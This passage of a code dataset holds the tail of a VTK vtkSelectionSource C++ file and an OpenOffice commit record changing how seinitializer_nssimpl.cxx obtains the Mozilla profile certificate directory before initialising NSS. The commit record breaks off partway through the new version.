vtkSelectionSource::RequestInformation(\n  vtkInformation* vtkNotUsed(request),\n  vtkInformationVector** vtkNotUsed(inputVector),\n  vtkInformationVector* outputVector)\n{\n  \/\/ We can handle multiple piece request.\n  vtkInformation* info = outputVector->GetInformationObject(0);\n  info->Set(\n    vtkStreamingDemandDrivenPipeline::MAXIMUM_NUMBER_OF_PIECES(), -1);\n\n  return 1;\n}\n\n\/\/----------------------------------------------------------------------------\nint vtkSelectionSource::RequestData(\n  vtkInformation* vtkNotUsed( request ),\n  vtkInformationVector** vtkNotUsed( inputVector ),\n  vtkInformationVector* outputVector )\n{\n  vtkSelection* output = vtkSelection::GetData(outputVector);\n\n  vtkInformation* outInfo = outputVector->GetInformationObject(0);\n  int piece = 0;\n  if (outInfo->Has(\n        vtkStreamingDemandDrivenPipeline::UPDATE_PIECE_NUMBER()))\n    {\n    piece = outInfo->Get(\n      vtkStreamingDemandDrivenPipeline::UPDATE_PIECE_NUMBER());\n    }\n\n  if (\n    (this->ContentType == vtkSelection::GLOBALIDS) ||\n    (this->ContentType == vtkSelection::INDICES))\n    {    \n    \n    \/\/ Number of selected items common to all pieces\n    vtkIdType numCommonElems = 0;\n    if (!this->Internal->IDs.empty())\n      {\n      numCommonElems = this->Internal->IDs[0].size();\n      }\n    if (piece+1 >= (int)this->Internal->IDs.size() &&\n        numCommonElems == 0)\n      {\n      vtkDebugMacro(\"No selection for piece: \" << piece);\n      return 1;\n      }\n    \n    \/\/ idx == 0 is the list for all pieces\n    \/\/ idx == piece+1 is the list for the current piece\n    size_t pids[2] = {0, piece+1};\n    for(int i=0; i<2; i++)\n      {\n      size_t idx = pids[i];\n      if (idx >= this->Internal->IDs.size())\n        {\n        continue;\n        }\n      \n      vtkSelectionSourceInternals::IDSetType& selSet =\n        this->Internal->IDs[idx];\n      \n      if (selSet.size() > 0)\n        {\n        output->GetProperties()->Set(vtkSelection::CONTENT_TYPE(), \n                                     this->ContentType);\n        output->GetProperties()->Set(vtkSelection::FIELD_TYPE(),\n                                     this->FieldType);\n        \/\/ Create the selection list\n        vtkIdTypeArray* selectionList = vtkIdTypeArray::New();\n        selectionList->SetNumberOfTuples(selSet.size());\n        \/\/ iterate over ids and insert to the selection list\n        vtkSelectionSourceInternals::IDSetType::iterator iter =\n          selSet.begin();\n        for (vtkIdType idx2=0; iter != selSet.end(); iter++, idx2++)\n          {\n          selectionList->SetValue(idx2, *iter);\n          }\n        output->SetSelectionList(selectionList);\n        selectionList->Delete();\n        }\n      }\n    }\n  \n  if (\n    (this->ContentType == vtkSelection::LOCATIONS)\n    &&\n    (this->Internal->Values != 0)\n    )\n    {\n    output->GetProperties()->Set(vtkSelection::CONTENT_TYPE(), \n                                 this->ContentType);\n    output->GetProperties()->Set(vtkSelection::FIELD_TYPE(),\n                                 this->FieldType);\n    \/\/ Create the selection list\n    vtkAbstractArray* selectionList = this->Internal->Values->NewInstance();\n    selectionList->DeepCopy(this->Internal->Values);\n    output->SetSelectionList(selectionList);\n    selectionList->Delete();    \n    }\n\n  if (\n    (this->ContentType == vtkSelection::THRESHOLDS)\n    &&\n    (this->Internal->Values != 0)\n    )\n    {\n    output->GetProperties()->Set(vtkSelection::CONTENT_TYPE(), \n                                 this->ContentType);\n    output->GetProperties()->Set(vtkSelection::FIELD_TYPE(),\n                                 this->FieldType);\n    \/\/ Create the selection list\n    vtkAbstractArray* selectionList = this->Internal->Values->NewInstance();\n    selectionList->DeepCopy(this->Internal->Values);\n    output->SetSelectionList(selectionList);\n    selectionList->Delete();    \n    }\n\n  if (\n    (this->ContentType == vtkSelection::FRUSTUM)\n    &&\n    (this->Internal->Values != 0)\n    )\n    {\n    output->GetProperties()->Set(vtkSelection::CONTENT_TYPE(), \n                                 this->ContentType);\n    output->GetProperties()->Set(vtkSelection::FIELD_TYPE(),\n                                 this->FieldType);\n    \/\/ Create the selection list\n    vtkAbstractArray* selectionList = this->Internal->Values->NewInstance();\n    selectionList->DeepCopy(this->Internal->Values);\n    output->SetSelectionList(selectionList);\n    selectionList->Delete();    \n    }\n  \n  return 1;\n}\n\n\/\/------------------------------------------------------------------------------\nvoid vtkSelectionSource::SetContentType(int value)\n{\n  vtkDebugMacro(<< this->GetClassName() << \" (\" << this << \"): setting ContentType to \" << value);\n  if (this->ContentType != value)\n    {\n    this->ContentType = value;\n    this->RemoveAllIDs();\n    this->RemoveAllValues();\n    if (this->Internal->Values)\n      {\n      this->Internal->Values->Delete();\n      }\n    switch (value)\n      {\n      case vtkSelection::LOCATIONS:\n        {\n        vtkDoubleArray *da = vtkDoubleArray::New();\n        da->SetNumberOfComponents(3);\n        da->SetNumberOfTuples(0);\n        this->Internal->Values = da;\n        break;\n        }\n      case vtkSelection::THRESHOLDS:\n        {\n        vtkDoubleArray *da = vtkDoubleArray::New();\n        da->SetNumberOfComponents(1);\n        da->SetNumberOfTuples(0);\n        this->Internal->Values = da;\n        break;\n        }\n      case vtkSelection::FRUSTUM:\n        {\n        vtkDoubleArray *da = vtkDoubleArray::New();\n        da->SetNumberOfComponents(4);\n        da->SetNumberOfTuples(8);\n        this->Internal->Values = da;\n        break;\n        }\n      default:\n        break;\n      }\n    this->Modified();\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: seinitializer_nssimpl.cxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: mmi $ $Date: 2004-07-23 03:00:42 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\/*\n * Turn off DEBUG Assertions\n *\/\n#ifdef _DEBUG\n    #define _DEBUG_WAS_DEFINED _DEBUG\n    #undef _DEBUG\n#else\n    #undef _DEBUG_WAS_DEFINED\n#endif\n\n\/*\n * and turn off the additional virtual methods which are part of some interfaces when compiled\n * with debug\n *\/\n#ifdef DEBUG\n    #define DEBUG_WAS_DEFINED DEBUG\n    #undef DEBUG\n#else\n    #undef DEBUG_WAS_DEFINED\n#endif\n\n\/*\n * header files needed for getCurrentProfilePath\n *\/\n\/*\n#include \"nsIServiceManager.h\"\n#include \"nsIProfileInternal.h\"\n#include \"nsString.h\"\n#include \"nsEmbedAPI.h\"\n*\/\n\n#include <sal\/types.h>\n\n\n#include \"seinitializer_nssimpl.hxx\"\n\n#include \"securityenvironment_nssimpl.hxx\"\n\n#include \"nspr.h\"\n#include \"prtypes.h\"\n#include \"pk11func.h\"\n#include \"cert.h\"\n#include \"cryptohi.h\"\n#include \"certdb.h\"\n#include \"nss.h\"\n\nnamespace cssu = com::sun::star::uno;\nnamespace cssl = com::sun::star::lang;\nnamespace cssxc = com::sun::star::xml::crypto;\n\nusing namespace com::sun::star;\n\n#define SERVICE_NAME \"com.sun.star.xml.crypto.SEInitializer\"\n#define IMPLEMENTATION_NAME \"com.sun.star.xml.security.bridge.xmlsec.SEInitializer_NssImpl\"\n#define SECURITY_ENVIRONMENT \"com.sun.star.xml.crypto.SecurityEnvironment\"\n#define SECURITY_CONTEXT \"com.sun.star.xml.crypto.XMLSecurityContext\"\n\n\/*\n * MM : get the current user profile\n *\/\n\n\/\/ MM : By now, the XPCOM is initialized only once in the current thread, and it will\n\/\/      not be shutdown until StarOffice exits.\n\/\/      This is a bug, because any other component who will initialize the XPCOM afterward\n\/\/      will always fail.\n\/\/      This bug will be fixed when there is solution.\n#if 0\nstatic nsIServiceManager           *sServiceManager = nsnull;\nstatic nsIDirectoryServiceProvider *appFileLocProvider = nsnull;\nstatic NS_DEFINE_CID(kProfileCID, NS_PROFILE_CID);\n\nchar* getCurrentProfilePath( )\n{\n\/*\n        nsCOMPtr<nsILocalFile> binDir;\n\n        \/\/ Note: if getenv() returns NULL, mozilla will default to using MOZILLA_FIVE_HOME in the NS_InitXPCOM2()\n        \/\/ The NS_NewNativeLocalFile() will accept NULL as its first parameter.\n        char * env = getenv(\"OPENOFFICE_MOZILLA_FIVE_HOME\");\n        if (env)\n        {\n        nsDependentCString sPath(env);\n        nsresult rv = NS_NewNativeLocalFile(sPath, PR_TRUE, getter_AddRefs(binDir));\n        if (NS_FAILED(rv))\n            return NULL;\n        }\n\n    if (sServiceManager == nsnull)\n    {\n        NS_InitXPCOM2(&sServiceManager, binDir, appFileLocProvider);\n    }\n\n    if (!sServiceManager)\n        return NULL;\n\n    nsresult rv;\n    nsCOMPtr< nsIProfile > theProfile = do_GetService( kProfileCID, &rv );\n    if (NS_SUCCEEDED(rv))\n    {\n        nsXPIDLString profileName;\n        rv = theProfile->GetCurrentProfile(getter_Copies(profileName));\n        if (NS_SUCCEEDED(rv))\n        {\n            nsCOMPtr<nsIFile> curProfileDir;\n            PRBool exists = PR_FALSE;\n            nsCOMPtr<nsIProfileInternal> profileInternal=do_QueryInterface(theProfile);\n            if (NS_SUCCEEDED(rv))\n            {\n                rv = profileInternal->GetProfileDir(profileName, getter_AddRefs(curProfileDir));\n                if (NS_SUCCEEDED(rv))\n                {\n                    nsCOMPtr<nsILocalFile> localFile(do_QueryInterface(curProfileDir));\n\n                    nsAutoString path;\n                    rv = localFile->GetPath(path);\n                    if (NS_SUCCEEDED(rv))\n                    {\n                        char cs[1024];\n                        path.ToCString(cs, 1024);\n\n                        \/\/ MM : I can't shutdown, because the XPCom can't be initialized twice in\n                        \/\/      one program\n                        \/\/NS_RELEASE(sServiceManager);\n                        \/\/NS_ShutdownXPCOM(sServiceManager);\n\n                        return (strdup(cs));\n                    }\n                }\n            }\n        }\n    }\n\n    \/\/ MM : I can't shutdown, because the XPCom can't be initialized twice in\n    \/\/      one program\n    \/\/NS_RELEASE(sServiceManager);\n    \/\/NS_ShutdownXPCOM(sServiceManager);\n    *\/\n\n    return NULL;\n}\n\n\/*\n * get the current user profile (end)\n *\/\n\n#endif\n\nbool getMozillaCurrentProfile(rtl::OUString& profilePath);\n\nSEInitializer_NssImpl::SEInitializer_NssImpl(\n    const com::sun::star::uno::Reference< com::sun::star::lang::XMultiServiceFactory > &rxMSF)\n    :mxMSF( rxMSF )\n{\n}\n\nSEInitializer_NssImpl::~SEInitializer_NssImpl()\n{\n}\n\n\/* XSEInitializer *\/\ncssu::Reference< cssxc::XXMLSecurityContext > SAL_CALL\n    SEInitializer_NssImpl::createSecurityContext(\n    const rtl::OUString& sCertDB )\n    throw (cssu::RuntimeException)\n{\n    CERTCertDBHandle*   pCertHandle = NULL ;\n    PK11SlotInfo*       pSlot = NULL ;\n\n    rtl::OString sCertDir;\n    if( sCertDB.getLength() > 0 )\n    {\n        sCertDir = rtl::OString(sCertDB, sCertDB.getLength(), RTL_TEXTENCODING_ASCII_US);\n    }\n    else\n    {\n        if (!getMozillaCurrentProfile((rtl::OUString&)sCertDir))\n        {\n            return NULL;\n        }\n\n        \/*\n        char *pCurrentProfilePath = getCurrentProfilePath();\n\n        if (pCurrentProfilePath == NULL)\n        {\n            return NULL;\n        }\n        else\n        {\n            sCertDir = rtl::OString(pCurrentProfilePath);\n            free(pCurrentProfilePath);\n        }\n        *\/\n    }\n\n    \/* Initialize NSPR and NSS *\/\n    PR_Init( PR_SYSTEM_THREAD, PR_PRIORITY_NORMAL, 1 ) ;\n\n    if (NSS_Init(sCertDir.getStr()) != SECSuccess )\n    {\n        PK11_LogoutAll();\n        return NULL;\n    }\n\n    pCertHandle = CERT_GetDefaultCertDB() ;\n    pSlot = PK11_GetInternalKeySlot() ;\n\n    if (pSlot == NULL)\n    {\n        PK11_LogoutAll();\n        NSS_Shutdown();\n        return NULL;\n    }\n\n    PK11SymKey* pSymKey = PK11_KeyGen( pSlot , CKM_DES3_CBC, NULL, 128, NULL ) ;\n    if( pSymKey == NULL )\n    {\n        PK11_FreeSlot( pSlot ) ;\n        PK11_LogoutAll();\n        NSS_Shutdown();\n        return NULL;\n    }\n\n    try\n    {\n        \/* Build Security Environment *\/\n        const rtl::OUString sSecyrutyEnvironment ( RTL_CONSTASCII_USTRINGPARAM( SECURITY_ENVIRONMENT ) );\n        cssu::Reference< cssxc::XSecurityEnvironment > xSecEnv( mxMSF->createInstance ( sSecyrutyEnvironment ), cssu::UNO_QUERY );\n        if( !xSecEnv.is() )\n        {\n            PK11_FreeSymKey( pSymKey ) ;\n            PK11_FreeSlot( pSlot ) ;\n            PK11_LogoutAll();\n            NSS_Shutdown();\n            return NULL;\n        }\n\n        \/* Setup key slot and certDb *\/\n        cssu::Reference< cssl::XUnoTunnel > xEnvTunnel( xSecEnv , cssu::UNO_QUERY ) ;\n        if( !xEnvTunnel.is() )\n        {\n            PK11_FreeSymKey( pSymKey ) ;\n            PK11_FreeSlot( pSlot ) ;\n            PK11_LogoutAll();\n            NSS_Shutdown();\n            return NULL;\n        }\n\n        SecurityEnvironment_NssImpl* pSecEnv = ( SecurityEnvironment_NssImpl* )xEnvTunnel->getSomething( SecurityEnvironment_NssImpl::getUnoTunnelId() ) ;\n        if( pSecEnv == NULL )\n        {\n            PK11_FreeSymKey( pSymKey ) ;\n            PK11_FreeSlot( pSlot ) ;\n            PK11_LogoutAll();\n            NSS_Shutdown();\n            return NULL;\n        }\n\n        pSecEnv->setCryptoSlot( pSlot ) ;\n        PK11_FreeSlot( pSlot ) ;\n        pSlot = NULL;\n\n        pSecEnv->setCertDb( pCertHandle ) ;\n\n        pSecEnv->adoptSymKey( pSymKey ) ;\n        PK11_FreeSymKey( pSymKey ) ;\n        pSymKey = NULL;\n\n        \/* Build XML Security Context *\/\n        const rtl::OUString sSecyrutyContext ( RTL_CONSTASCII_USTRINGPARAM( SECURITY_CONTEXT ) );\n        cssu::Reference< cssxc::XXMLSecurityContext > xSecCtx( mxMSF->createInstance ( sSecyrutyContext ), cssu::UNO_QUERY );\n        if( !xSecCtx.is() )\n        {\n            PK11_LogoutAll();\n            NSS_Shutdown();\n            return NULL;\n        }\n\n        xSecCtx->setSecurityEnvironment( xSecEnv ) ;\n        return xSecCtx;\n    }\n    catch( cssu::Exception& )\n    {\n        if (pSymKey != NULL)\n        {\n            PK11_FreeSymKey( pSymKey ) ;\n        }\n\n        if (pSlot != NULL)\n        {\n            PK11_FreeSlot( pSlot ) ;\n        }\n\n        PK11_LogoutAll();\n        NSS_Shutdown();\n        return NULL;\n    }\n}\n\nvoid SAL_CALL SEInitializer_NssImpl::freeSecurityContext( const cssu::Reference< cssxc::XXMLSecurityContext >& securityContext )\n    throw (cssu::RuntimeException)\n{\n    \/*\n     * because the security context will free all its content when it\n     * is destructed, so here no free process for the security context\n     * is needed.\n     *\/\n    PK11_LogoutAll();\n    NSS_Shutdown();\n}\n\nrtl::OUString SEInitializer_NssImpl_getImplementationName ()\n    throw (cssu::RuntimeException)\n{\n    return rtl::OUString ( RTL_CONSTASCII_USTRINGPARAM ( IMPLEMENTATION_NAME ) );\n}\n\nsal_Bool SAL_CALL SEInitializer_NssImpl_supportsService( const rtl::OUString& ServiceName )\n    throw (cssu::RuntimeException)\n{\n    return ServiceName.equalsAsciiL( RTL_CONSTASCII_STRINGPARAM ( SERVICE_NAME ));\n}\n\ncssu::Sequence< rtl::OUString > SAL_CALL SEInitializer_NssImpl_getSupportedServiceNames(  )\n    throw (cssu::RuntimeException)\n{\n    cssu::Sequence < rtl::OUString > aRet(1);\n    rtl::OUString* pArray = aRet.getArray();\n    pArray[0] =  rtl::OUString ( RTL_CONSTASCII_USTRINGPARAM ( SERVICE_NAME ) );\n    return aRet;\n}\n#undef SERVICE_NAME\n\ncssu::Reference< cssu::XInterface > SAL_CALL SEInitializer_NssImpl_createInstance( const cssu::Reference< cssl::XMultiServiceFactory > & rSMgr)\n    throw( cssu::Exception )\n{\n    return (cppu::OWeakObject*) new SEInitializer_NssImpl(rSMgr);\n}\n\n\/* XServiceInfo *\/\nrtl::OUString SAL_CALL SEInitializer_NssImpl::getImplementationName(  )\n    throw (cssu::RuntimeException)\n{\n    return SEInitializer_NssImpl_getImplementationName();\n}\nsal_Bool SAL_CALL SEInitializer_NssImpl::supportsService( const rtl::OUString& rServiceName )\n    throw (cssu::RuntimeException)\n{\n    return SEInitializer_NssImpl_supportsService( rServiceName );\n}\ncssu::Sequence< rtl::OUString > SAL_CALL SEInitializer_NssImpl::getSupportedServiceNames(  )\n    throw (cssu::RuntimeException)\n{\n    return SEInitializer_NssImpl_getSupportedServiceNames();\n}\n\n<commit_msg>mozilla registry.dat parsing<commit_after>\/*************************************************************************\n *\n *  $RCSfile: seinitializer_nssimpl.cxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: mmi $ $Date: 2004-07-23 03:37:00 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\/*\n * Turn off DEBUG Assertions\n *\/\n#ifdef _DEBUG\n    #define _DEBUG_WAS_DEFINED _DEBUG\n    #undef _DEBUG\n#else\n    #undef _DEBUG_WAS_DEFINED\n#endif\n\n\/*\n * and turn off the additional virtual methods which are part of some interfaces when compiled\n * with debug\n *\/\n#ifdef DEBUG\n    #define DEBUG_WAS_DEFINED DEBUG\n    #undef DEBUG\n#else\n    #undef DEBUG_WAS_DEFINED\n#endif\n\n\/*\n * header files needed for getCurrentProfilePath\n *\/\n\/*\n#include \"nsIServiceManager.h\"\n#include \"nsIProfileInternal.h\"\n#include \"nsString.h\"\n#include \"nsEmbedAPI.h\"\n*\/\n\n#include <sal\/types.h>\n\n\n#include \"seinitializer_nssimpl.hxx\"\n\n#include \"securityenvironment_nssimpl.hxx\"\n\n#include \"nspr.h\"\n#include \"prtypes.h\"\n#include \"pk11func.h\"\n#include \"cert.h\"\n#include \"cryptohi.h\"\n#include \"certdb.h\"\n#include \"nss.h\"\n\nnamespace cssu = com::sun::star::uno;\nnamespace cssl = com::sun::star::lang;\nnamespace cssxc = com::sun::star::xml::crypto;\n\nusing namespace com::sun::star;\n\n#define SERVICE_NAME \"com.sun.star.xml.crypto.SEInitializer\"\n#define IMPLEMENTATION_NAME \"com.sun.star.xml.security.bridge.xmlsec.SEInitializer_NssImpl\"\n#define SECURITY_ENVIRONMENT \"com.sun.star.xml.crypto.SecurityEnvironment\"\n#define SECURITY_CONTEXT \"com.sun.star.xml.crypto.XMLSecurityContext\"\n\n\/*\n * MM : get the current user profile\n *\/\n\n\/\/ MM : By now, the XPCOM is initialized only once in the current thread, and it will\n\/\/      not be shutdown until StarOffice exits.\n\/\/      This is a bug, because any other component who will initialize the XPCOM afterward\n\/\/      will always fail.\n\/\/      This bug will be fixed when there is solution.\n#if 0\nstatic nsIServiceManager           *sServiceManager = nsnull;\nstatic nsIDirectoryServiceProvider *appFileLocProvider = nsnull;\nstatic NS_DEFINE_CID(kProfileCID, NS_PROFILE_CID);\n\nchar* getCurrentProfilePath( )\n{\n\/*\n        nsCOMPtr<nsILocalFile> binDir;\n\n        \/\/ Note: if getenv() returns NULL, mozilla will default to using MOZILLA_FIVE_HOME in the NS_InitXPCOM2()\n        \/\/ The NS_NewNativeLocalFile() will accept NULL as its first parameter.\n        char * env = getenv(\"OPENOFFICE_MOZILLA_FIVE_HOME\");\n        if (env)\n        {\n        nsDependentCString sPath(env);\n        nsresult rv = NS_NewNativeLocalFile(sPath, PR_TRUE, getter_AddRefs(binDir));\n        if (NS_FAILED(rv))\n            return NULL;\n        }\n\n    if (sServiceManager == nsnull)\n    {\n        NS_InitXPCOM2(&sServiceManager, binDir, appFileLocProvider);\n    }\n\n    if (!sServiceManager)\n        return NULL;\n\n    nsresult rv;\n    nsCOMPtr< nsIProfile > theProfile = do_GetService( kProfileCID, &rv );\n    if (NS_SUCCEEDED(rv))\n    {\n        nsXPIDLString profileName;\n        rv = theProfile->GetCurrentProfile(getter_Copies(profileName));\n        if (NS_SUCCEEDED(rv))\n        {\n            nsCOMPtr<nsIFile> curProfileDir;\n            PRBool exists = PR_FALSE;\n            nsCOMPtr<nsIProfileInternal> profileInternal=do_QueryInterface(theProfile);\n            if (NS_SUCCEEDED(rv))\n            {\n                rv = profileInternal->GetProfileDir(profileName, getter_AddRefs(curProfileDir));\n                if (NS_SUCCEEDED(rv))\n                {\n                    nsCOMPtr<nsILocalFile> localFile(do_QueryInterface(curProfileDir));\n\n                    nsAutoString path;\n                    rv = localFile->GetPath(path);\n                    if (NS_SUCCEEDED(rv))\n                    {\n                        char cs[1024];\n                        path.ToCString(cs, 1024);\n\n                        \/\/ MM : I can't shutdown, because the XPCom can't be initialized twice in\n                        \/\/      one program\n                        \/\/NS_RELEASE(sServiceManager);\n                        \/\/NS_ShutdownXPCOM(sServiceManager);\n\n                        return (strdup(cs));\n                    }\n                }\n            }\n        }\n    }\n\n    \/\/ MM : I can't shutdown, because the XPCom can't be initialized twice in\n    \/\/      one program\n    \/\/NS_RELEASE(sServiceManager);\n    \/\/NS_ShutdownXPCOM(sServiceManager);\n    *\/\n\n    return NULL;\n}\n\n\/*\n * get the current user profile (end)\n *\/\n\n#endif\n\nbool getMozillaCurrentProfile(rtl::OUString& profilePath);\n\nSEInitializer_NssImpl::SEInitializer_NssImpl(\n    const com::sun::star::uno::Reference< com::sun::star::lang::XMultiServiceFactory > &rxMSF)\n    :mxMSF( rxMSF )\n{\n}\n\nSEInitializer_NssImpl::~SEInitializer_NssImpl()\n{\n}\n\n\/* XSEInitializer *\/\ncssu::Reference< cssxc::XXMLSecurityContext > SAL_CALL\n    SEInitializer_NssImpl::createSecurityContext(\n    const rtl::OUString& sCertDB )\n    throw (cssu::RuntimeException)\n{\n    CERTCertDBHandle*   pCertHandle = NULL ;\n    PK11SlotInfo*       pSlot = NULL ;\n\n    rtl::OString sCertDir;\n    if( sCertDB.getLength() > 0 )\n    {\n        sCertDir = rtl::OString(sCertDB, sCertDB.getLength(), RTL_TEXTENCODING_ASCII_US);\n    }\n    else\n    {\n        rtl::OUString ouCertDir;\n        if (!getMozillaCurrentProfile(ouCertDir))\n        {\n            return NULL;\n        }\n\n        sCertDir = rtl::OString(ouCertDir, ouCertDir.getLength(), RTL_TEXTENCODING_ASCII_US);\n\n        \/*\n        char *pCurrentProfilePath = getCurrentProfilePath();\n\n        if (pCurrentProfilePath == NULL)\n        {\n            return NULL;\n        }\n        else\n        {\n            sCertDir = rtl::OString(pCurrentProfilePath);\n            free(pCurrentProfilePath);\n        }\n        *\/\n    }\n\n    \/* Initialize NSPR and NSS *\/\n    PR_Init( PR_SYSTEM_THREAD, PR_PRIORITY_NORMAL, 1 ) ;\n\n    if (NSS_Init(sCertDir.getStr()) != SECSuccess )\n    {\n        PK11_LogoutAll();\n        return NULL;\n    }\n\n    pCertHandle = CERT_GetDefaultCertDB() ;\n    pSlot = PK11_GetInternalKeySlot() ;\n\n    if (pSlot == NULL)\n    {\n        PK11_LogoutAll();\n        NSS_Shutdown();\n        return NULL;\n    }\n\n    PK11SymKey* pSymKey = PK11_KeyGen( pSlot , CKM_DES3_CBC, NULL, 128, NULL ) ;\n    if( pSymKey == NULL )\n    {\n        PK11_FreeSlot( pSlot ) ;\n        PK11_LogoutAll();\n        NSS_Shutdown();\n        return NULL;\n    }\n\n    try\n    {\n        \/* Build Security Environment *\/\n        const rtl::OUString sSecyrutyEnvironment ( RTL_CONSTASCII_USTRINGPARAM( SECURITY_ENVIRONMENT ) );\n        cssu::Reference< cssxc::XSecurityEnvironment > xSecEnv( mxMSF->createInstance ( sSecyrutyEnvironment ), cssu::UNO_QUERY );\n        if( !xSecEnv.is() )\n        {\n            PK11_FreeSymKey( pSymKey ) ;\n            PK11_FreeSlot( pSlot ) ;\n            PK11_LogoutAll();\n            NSS_Shutdown();\n            return NULL;\n        }\n\n        \/* Setup key slot and certDb *\/\n        cssu::Reference< cssl::XUnoTunnel > xEnvTunnel( xSecEnv , cssu::UNO_QUERY ) ;\n        if( !xEnvTunnel.is() )\n        {\n            PK11_FreeSymKey( pSymKey ) ;\n            PK11_FreeSlot( pSlot ) ;\n            PK11_LogoutAll();\n            NSS_Shutdown();\n            return NULL;\n        }\n\n        SecurityEnvironment_NssImpl* pSecEnv = ( SecurityEnvironment_NssImpl* )xEnvTunnel->getSomething( SecurityEnvironment_NssImpl::getUnoTunnelId() ) ;\n        if( pSecEnv == NULL )\n        {\n            PK11_FreeSymKey( pSymKey ) ;\n            PK11_FreeSlot( pSlot ) ;\n            PK11_LogoutAll();\n            NSS_Shutdown();\n            return NULL;\n        }\n\n        pSecEnv->setCryptoSlot( pSlot ) ;\n        PK11_FreeSlot( pSlot ) ;\n        pSlot = NULL;\n\n        pSecEnv->setCertDb( pCertHandle ) ;\n\n        pSecEnv->adoptSymKey( pSymKey ) ;\n        PK11_FreeSymKey( pSymKey ) ;\n        pSymKey = NULL;\n\n        \/* Build XML Security Context *\/\n        const rtl::OUString sSecyrutyContext ( RTL_CONSTASCII_USTRINGPARAM( SECURITY_CONTEXT ) );\n        cssu::Reference< cssxc::XXMLSecurityContext > xSecCtx( mxMSF->createInstance ( sSecyrutyContext ), cssu::UNO_QUERY );\n        if( !xSecCtx.is() )\n        {\n            PK11_LogoutAll();\n            NSS_Shutdown();\n            return NULL;\n        }\n\n        xSecCtx->setSecurityEnvironment( xSecEnv ) ;\n        return xSecCtx;\n    }\n    catch( cssu::Exception& )\n    {\n        if (pSymKey != NULL)\n        {\n            PK11_FreeSymKey( pSymKey ) ;\n        }\n\n        if (pSlot != NULL)\n        {\n            PK11_FreeSlot( pSlot ) ;\n        }\n\n        PK11_LogoutAll();\n        NSS_Shutdown();\n        return NULL;\n    }\n}\n\nvoid SAL_CALL SEInitializer_NssImpl::freeSecurityContext( const cssu::Reference< cssxc::XXMLSecurityContext >& securityContext )\n    throw (cssu::RuntimeException)\n{\n    \/*\n     * because the security context will free all its content when it\n     * is destructed, so here no free process for the security context\n     * is needed.\n     *\/\n    PK11_LogoutAll();\n    NSS_Shutdown();\n}\n\nrtl::OUString SEInitializer_NssImpl_getImplementationName ()\n    throw (cssu::RuntimeException)\n{\n    return rtl::OUString ( RTL_CONSTASCII_USTRINGPARAM ( IMPLEMENTATION_NAME ) );\n}\n\nsal_Bool SAL_CALL SEInitializer_NssImpl_supportsService( const rtl::OUString& ServiceName )\n    throw (cssu::RuntimeException)\n{\n    return ServiceName.equalsAsciiL( RTL_CONSTASCII_STRINGPARAM ( SERVICE_NAME ));\n}\n\ncssu::Sequence< 